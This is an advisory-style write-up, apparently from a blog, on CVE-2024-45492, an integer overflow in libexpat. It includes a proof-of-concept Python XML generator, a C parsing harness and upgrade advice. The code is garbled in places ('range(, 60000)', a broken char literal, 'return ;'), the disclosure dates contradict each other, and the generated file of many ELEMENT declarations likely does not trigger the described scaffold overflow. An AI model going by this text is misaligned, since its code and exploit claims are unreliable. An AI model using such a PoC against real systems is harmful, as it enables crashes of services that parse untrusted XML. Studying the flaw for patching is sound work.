Published: June 2024
Severity: Medium (depends on usage)
Affected: All libexpat releases before 2.6.3 (commonly used in XML parsing for C/C++)
What is CVE-2024-45492?
On June 2024, a new vulnerability was disclosed in the popular libexpat XML parsing library, impacting all versions prior to 2.6.3. The bug, tracked as CVE-2024-45492, is an *integer overflow* in the nextScaffoldPart function inside xmlparse.c. It particularly affects *32-bit* systems.
If successfully exploited, this flaw may lead to memory corruption, crash, or (in rare cases) remote code execution if untrusted XML data is parsed and attacker controls the input.
The vulnerable function looks like this in xmlparse.c
static int nextScaffoldPart(XML_Parser parser) {
...
if (m_scaffold->numParts == m_groupSize) {
m_groupSize *= 2;
...
}
...
}
On 32-bit platforms, if m_groupSize (an unsigned int) gets large enough, *multiplying by 2* can overflow the maximum value representable (UINT_MAX). This makes m_groupSize wrap around and become small again—causing either buffer overflows or uncontrolled allocations.
On a 32-bit system, the maximum unsigned int is 4294967295 (4 GB).
- When doubling a value near this limit, m_groupSize wraps, potentially allocating a buffer with the wrong size or accessing memory outside valid bounds.
Proof-of-Concept Exploit
This exploit only works on platforms where sizeof(unsigned int) == sizeof(size_t), that is, most *32-bit* systems.
Let's craft a malicious XML file
<!DOCTYPE exploit [
<!ENTITY a "">
<!ELEMENT root (#PCDATA)>
]>
<root>&a;</root>
But to hit the bug, we need *many* scaffold parts. This typically requires recursive or nested elements/entities. Here’s a Python script that tries to generate a malicious DTD:
# create-malicious-xml.py
with open("malicious.xml", "w") as f:
f.write("<!DOCTYPE root [\n")
for i in range(, 60000):
f.write(f"<!ELEMENT e{i} (#PCDATA)>\n")
f.write("]>\n<root></root>\n")
Parsing this XML on a 32-bit system with a vulnerable libexpat (before 2.6.3) can trigger the integer overflow.
NOTE: This can crash the process, possibly leading to further attacks depending on how libexpat is integrated into your application.
C code (using expat)
#include <stdio.h>
#include <expat.h>
int main() {
FILE *f = fopen("malicious.xml", "r");
if (!f) return 1;
char buf[4096];
size_t len = fread(buf, 1, sizeof(buf) - 1, f);
buf[len] = '\';
fclose(f);
XML_Parser parser = XML_ParserCreate(NULL);
if (!parser) return 1;
if (XML_Parse(parser, buf, len, XML_TRUE) == XML_STATUS_ERROR) {
printf("XML Parse Error!\n");
} else {
printf("Parsed Successfully.\n");
}
XML_ParserFree(parser);
return ;
}
Compile & run
gcc -o expat-test test.c -lexpat
./expat-test
If the bug is present, your process may crash or behave unexpectedly. (Run this only in a safe, isolated environment.)
How to Fix
- Upgrade libexpat to at least version 2.6.3, which patches the bug by properly checking for integer overflows before doubling m_groupSize.
- Download from libexpat releases
If upgrading is impossible, limit the maximum depth and number of elements in your XML inputs.
- Also, consider running your parser in a sandbox or use 64-bit systems as a mitigation (but upgrade anyway).
Further Reading and References
- CVE-2024-45492 on NVD
- libexpat GitHub security advisory
- Original patch commit
- Expat project homepage
Why Does It Matter?
libexpat is widely used in open-source applications, IoT devices, and even commercial software for processing XML files. Integer overflow bugs like CVE-2024-45492 are subtle but can lead to *serious* security problems, especially when parsing untrusted input.
Timeline
Published on: 08/30/2024 03:15:03 UTC
Last modified on: 11/21/2024 09:37:51 UTC